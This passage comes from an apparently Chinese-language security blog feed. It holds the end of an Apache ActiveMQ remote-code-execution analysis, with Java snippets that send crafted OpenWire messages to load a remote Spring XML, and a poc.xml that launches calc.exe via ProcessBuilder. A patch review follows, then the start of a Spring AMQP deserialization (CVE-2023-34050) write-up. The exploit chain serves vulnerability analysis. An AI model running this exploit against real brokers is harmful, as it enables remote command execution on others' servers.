code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__comment">//ExceptionResponse</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">Object</span> msg = <span class="code-snippet__keyword">new</span> ExceptionResponse(<span class="code-snippet__keyword">new</span> ClassPathXmlApplicationContext(<span class="code-snippet__string">&#34;<a href="http://127.0.0.1:8081/poc.xml" target="_blank">http://127.0.0.1:8081/poc.xml</a>&#34;</span>));</span></code><code><span class="code-snippet_outer">((ActiveMQConnection) connection).getTransportChannel().oneway(msg);</span></code></pre></section><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">同理 ConnectionError 利用：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__comment">//ConnectionError</span></span></code><code><span class="code-snippet_outer">Throwable o = <span class="code-snippet__keyword">new</span> ClassPathXmlApplicationContext(<span class="code-snippet__string">&#34;<a href="http://127.0.0.1:8081/poc.xml" target="_blank">http://127.0.0.1:8081/poc.xml</a>&#34;</span>);</span></code><code><span class="code-snippet_outer">ConnectionError msg = <span class="code-snippet__keyword">new</span> ConnectionError();</span></code><code><span class="code-snippet_outer">msg.setConnectionId(<span class="code-snippet__keyword">new</span> ConnectionId());</span></code><code><span class="code-snippet_outer">msg.setException(o);</span></code><code><span class="code-snippet_outer">((ActiveMQConnection) connection).getTransportChannel().oneway(msg);</span></code></pre></section><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">MessageAck 利用：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__comment">//MessageAck</span></span></code><code><span class="code-snippet_outer">MessageAck msg2 = <span class="code-snippet__keyword">new</span> MessageAck();</span></code><code><span class="code-snippet_outer">msg2.setPoisonCause(<span class="code-snippet__keyword">new</span> ClassPathXmlApplicationContext(<span class="code-snippet__string">&#34;<a href="http://127.0.0.1:8081/poc.xml" target="_blank">http://127.0.0.1:8081/poc.xml</a>&#34;</span>));</span></code><code><span class="code-snippet_outer">((ActiveMQConnection) connection).getTransportChannel().oneway(msg2);</span></code></pre></section><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">poc.xml 内容是弹计算器：</span><span style="font-family: monospace;color: rgb(31, 113, 153);background-color: rgb(240, 240, 240);font-size: 12pt;text-indent: 0pt;letter-spacing: 0.034em;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">beans</span> <span class="code-snippet__attr">xmlns</span>=<span class="code-snippet__string">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;</span></span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">xmlns:xsi</span>=<span class="code-snippet__string">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">xsi:schemaLocation</span>=<span class="code-snippet__string">&#34;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer"> <a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a> <a href="http://www.springframework.org/schema/beans/spring-beans.xsd" target="_blank">http://www.springframework.org/schema/beans/spring-beans.xsd</a>&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">bean</span> <span class="code-snippet__attr">id</span>=<span class="code-snippet__string">&#34;pb&#34;</span> <span class="code-snippet__attr">class</span>=<span class="code-snippet__string">&#34;java.lang.ProcessBuilder&#34;</span> <span class="code-snippet__attr">init-method</span>=<span class="code-snippet__string">&#34;start&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">constructor-arg</span> &gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">list</span>&gt;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__tag">&lt;<span class="code-snippet__name">value</span>&gt;</span>calc.exe<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">value</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">list</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">constructor-arg</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">bean</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">beans</span>&gt;</span></span></code></pre></section><p style="mso-style-name: &#39;0 Block&#39;;mso-style-parent: &#39;&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: 12.0pt;mso-pagination: widow-orphan;font-size: 11.0pt;font-family: Times New Roman;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 等距更纱黑体 SC;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;"><span style="color: rgb(153, 153, 153);font-family: &#34;Helvetica Neue&#34;;font-size: 13.5pt;text-align: center;text-indent: 0pt;letter-spacing: 0.034em;"><span style="color: rgb(47, 47, 47);font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;"><img class="rich_pages wxw-img" data-backh="251" data-backw="578" data-imgfileid="100004474" data-ratio="0.43410852713178294" width="601.7100219726562" data-type="png" data-w="903" height="261.21002197265625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=7f31b375&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PxGhERDAdXuR3IxFTa7AQxibPysHITibDgKEaU5wXSpPbpEZQt1Gibv9ypgsQ9ia4psT3ZwP7SugiaIkg%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 18.372pt;margin-bottom: 18.372pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: 28.8pt;font-size: 24pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;break-before: auto;"><span style="text-indent: 0pt;color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">5. 补丁分析</span></p><p style="mso-style-name: &#39;Para 06&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #0000FF;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;text-underline: single;text-decoration: underline;background: transparent;"><span style="font-size:13.5pt;font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><a href="https://github.com/apache/activemq/pull/1098/commits/3eaf3107f4fb9a3ce7ab45c175bfaeac7e866d5b" target="_blank">https://github.com/apache/activemq/pull/1098/commits/3eaf3107f4fb9a3ce7ab45c175bfaeac7e866d5b</a></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"></span></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">在</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);font-variant: normal;text-transform: none;font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;">createThrowable()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">方法中新增了</span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);font-variant: normal;text-transform: none;font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;">validateIsThrowable()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">校验；<br/>

 </span><span style="color: rgb(11, 66, 188);background-color: rgb(232, 236, 233);font-variant: normal;text-transform: none;font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;">validateIsThrowable()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">的作用是判断获取到的类是否是 </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">Throwable </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">的子类。<br/>

 </span><span style="mso-bookmark:images_1698731441695_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="462" data-backw="578" data-imgfileid="100004475" data-ratio="0.7992424242424242" width="601.7100219726562" data-type="png" data-w="792" height="480.9100341796875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=41557ab7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PxGhERDAdXuR3IxFTa7AQxG3dAlMvibbst5687PjTUJWS9Xh8Qbn3Yb26Ul2HyloeKVT3sKeiaWNqQ%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:images_1698731441695_png;"></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"></span> </p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><strong style="text-wrap: wrap;outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">参考链接：</span></strong></p><p style="margin-top: 18.372pt;margin-bottom: 18.372pt;text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 13.5pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(0, 0, 255);font-weight: normal;text-decoration: underline;background: transparent;"><span style="font-size:13.5pt;font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><a href="https://exp10it.cn/2023/10/apache-activemq-版本-5.18.3-rce-分析/" target="_blank">https://exp10it.cn/2023/10/apache-activemq-版本-5.18.3-rce-分析/</a><br/></span><span style="mso-style-name: &#39;02 Text&#39;;mso-style-parent: &#39;&#39;;color: #2F2F2F;text-decoration: none;text-underline: none;font-family: Helvetica Neue;mso-ascii-font-family: Helvetica Neue;mso-fareast-font-family: Helvetica Neue;font-variant: normal;text-transform: none;"> </span><span style="font-size:13.5pt;font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><a href="http://www.lvyyevd.cn/archives/apacheactivemqrce-fen-xi" target="_blank">http://www.lvyyevd.cn/archives/apacheactivemqrce-fen-xi</a><br/></span><span style="mso-style-name: &#39;02 Text&#39;;mso-style-parent: &#39;&#39;;color: #2F2F2F;text-decoration: none;text-underline: none;font-family: Helvetica Neue;mso-ascii-font-family: Helvetica Neue;mso-fareast-font-family: Helvetica Neue;font-variant: normal;text-transform: none;"> </span><span style="font-size:13.5pt;font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><a href="https://www.ctfiot.com/141159.html" target="_blank">https://www.ctfiot.com/141159.html</a><br/></span><span style="mso-style-name: &#39;02 Text&#39;;mso-style-parent: &#39;&#39;;color: #2F2F2F;text-decoration: none;text-underline: none;font-family: Helvetica Neue;mso-ascii-font-family: Helvetica Neue;mso-fareast-font-family: Helvetica Neue;font-variant: normal;text-transform: none;"> </span><span style="font-size:13.5pt;font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><a href="http://www.hackdig.com/10/hack-1132519.htm" target="_blank">http://www.hackdig.com/10/hack-1132519.htm</a></span><o:page></o:page></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247488127">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ec479c18&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247488127%26idx%3D1%26sn%3Db149206ddf8e41ee56ca9cae15d982da%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 27 Nov 2023 17:22:00 +0800</pubDate>
    </item>
    <item>
      <title>Spring AMQP 反序列化漏洞分析(CVE-2023-34050)</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488077&amp;idx=1&amp;sn=0938235f919dbac9f60eb3b9676da56b</link>
      <description>Spring AMQP 中添加了可反序列化类名的允许列表模式，允许用户锁定来自不受信任来源的消息中数据的反序列化；但是默认情况下，当未提供允许的列表时，所有类都可以反序列化。</description>
      <content:encoded><![CDATA[<p>
原创 <span>blckder02</span> <span>2023-11-23 11:52</span> <span style="display: inline-block;">浙江</span>
</p>

<p>Spring AMQP 中添加了可反序列化类名的允许列表模式，允许用户锁定来自不受信任来源的消息中数据的反序列化；但是默认情况下，当未提供允许的列表时，所有类都可以反序列化。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2cafac56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57NrPh2GXBuwp1ZmhdiasGqJwibkcibJsy76OgK6RtBBOwhkRqjENaGLqOsLtjTSUMBPR01dcDbriaPy1g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="mso-style-name: &#39;Para 02&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: 26.4pt;mso-pagination: widow-orphan;font-size: 22.0pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: bold;mso-bidi-font-weight: bold;"><span style="font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;text-decoration: underline;color: rgb(6, 153, 7);">1. 前言</span></p><p style="mso-style-name: &#39;Para 06&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: bold;mso-bidi-font-weight: bold;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 20px;color: rgb(59, 85, 171);"><strong><span style="font-size: 20px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">官方公告：</span></strong></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;mso-fareast-language:ZH-CN;"><br/></span><span style="mso-style-name: &#39;10 Text&#39;;mso-style-parent: &#39;&#39;;color: #0000FF;font-weight: bold;mso-bidi-font-weight: bold;text-decoration: underline;text-underline: single;font-size: 13.5pt;font-family: Helvetica Neue;mso-ascii-font-family: Helvetica Neue;mso-fareast-font-family: Helvetica Neue;font-variant: normal;text-transform: none;mso-fareast-language: ZH-CN;"><a href="https://spring.io/security/cve-2023-34050" target="_blank">https://spring.io/security/cve-2023-34050</a></span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 20px;color: rgb(59, 85, 171);"><strong><span style="color: rgb(59, 85, 171);font-size: 20px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">漏洞描述</span></strong></span><span style="font-size: 20px;color: rgb(59, 85, 171);"><strong><span style="color: rgb(59, 85, 171);font-size: 20px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">：</span></strong></span><span style="mso-style-name: &#39;00 Text&#39;;mso-style-parent: &#39;&#39;;font-weight: bold;mso-bidi-font-weight: bold;font-family: Helvetica Neue;mso-ascii-font-family: Helvetica Neue;font-variant: normal;text-transform: none;mso-fareast-language: ZH-CN;">         <br/></span></p><section style="text-align: left;margin-left: 0pt;font-size: 13.5pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;margin-top: 12pt;margin-bottom: 12pt;text-indent: 2em;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;mso-fareast-language:ZH-CN;">2016 年，Spring AMQP 中添加了可反序列化类名的允许列表模式，允许用户锁定来自不受信任来源的消息中数据的反序列化；但是默认情况下，当未提供允许的列表时，所有类都可以反序列化。</span></section><p style="text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 13.5pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;margin-top: 12pt;margin-bottom: 12pt;"><span style="font-size: 20px;color: rgb(59, 85, 171);"><strong><span style="color: rgb(59, 85, 171);font-size: 20px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">利用条件：</span></strong></span></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p style="mso-style-name: &#39;Para 06&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: bold;mso-bidi-font-weight: bold;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 13.5pt;font-weight: normal;text-indent: 0em;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">使用 SimpleMessageConverter 或 SerializerMessageConverter</span></p></li><li><p style="mso-style-name: &#39;Para 06&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: bold;mso-bidi-font-weight: bold;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 13.5pt;font-weight: normal;text-indent: 0em;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">用户未配置允许列表模式</span></p></li><li><p style="mso-style-name: &#39;Para 06&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: bold;mso-bidi-font-weight: bold;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 13.5pt;font-weight: normal;text-indent: 0em;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">不受信任的消息发起者获得将消息写入 RabbitMQ 代理以发送恶意内容的权限</span></p></li></ul><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 20px;color: rgb(59, 85, 171);"><strong><span style="color: rgb(59, 85, 171);font-size: 20px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">影响版本： </span></strong></span><span style="mso-style-name: &#39;00 Text&#39;;mso-style-parent: &#39;&#39;;font-weight: bold;mso-bidi-font-weight: bold;font-family: Helvetica Neue;mso-ascii-font-family: Helvetica Neue;font-variant: normal;text-transform: none;">         </span></p><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 13.5pt;text-indent: 2em;letter-spacing: 0.034em;">Spring AMQP：</span></p><section style="text-align: left;margin-left: 0pt;font-size: 13.5pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;margin-top: 12pt;margin-bottom: 12pt;text-indent: 2em;"><span style="font-size: 13.5pt;text-indent: 2em;letter-spacing: 0.034em;font-family: Symbol;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">· <span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-variant-position: normal;font-stretch: normal;font-size: 7pt;line-height: normal;font-family: &#34;Times New Roman&#34;;"></span></span><span style="font-size: 13.5pt;text-indent: 2em;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">1.0.0 到 2.4.16</span></section><section style="text-align: left;margin-left: 0pt;font-size: 13.5pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;margin-top: 12pt;margin-bottom: 12pt;text-indent: 2em;"><span style="font-size: 13.5pt;text-indent: 2em;letter-spacing: 0.034em;font-family: Symbol;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">· <span style="font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-variant-position: normal;font-stretch: normal;font-size: 7pt;line-height: normal;font-family: &#34;Times New Roman&#34;;"></span></span><span style="font-size: 13.5pt;text-indent: 2em;letter-spacing: 0.034em;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;">3.0.0 到 3.0.9</span></section><p style="mso-style-name: &#39;Para 00&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 13.5pt;text-indent: 2em;letter-spacing: 0.034em;">Spring Boot 2.7.17、3.0.12、3.1.5、3.2.0版本之前。</span></p><p style="text-align: left;margin-left: 0pt;text-indent: 0pt;font-size: 13.5pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;margin-top: 12pt;margin-bottom: 12pt;"><span style="font-size: 20px;color: rgb(59, 85, 171);"><strong><span style="color: rgb(59, 85, 171);font-size: 20px;font-family: &#34;Helvetica Neue&#34;;font-variant: normal;text-transform: none;">修复建议：</span></strong></span></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p style="mso-style-name: &#39;Para 06&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: bold;mso-bidi-font-weight: bold;margin-top: 12.0pt;margin-bottom: 12.0pt;"><span style="font-size: 13.5pt;font-weight: normal;text-indent: 0em;letter-spacing: 0.034em;">不允许不受信任的来源访问 RabbitMQ 服务器</span></p></li><li><p style="mso-style-name: &#39;Para 06&#39;;mso-para-margin-top: 1.0gd;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: 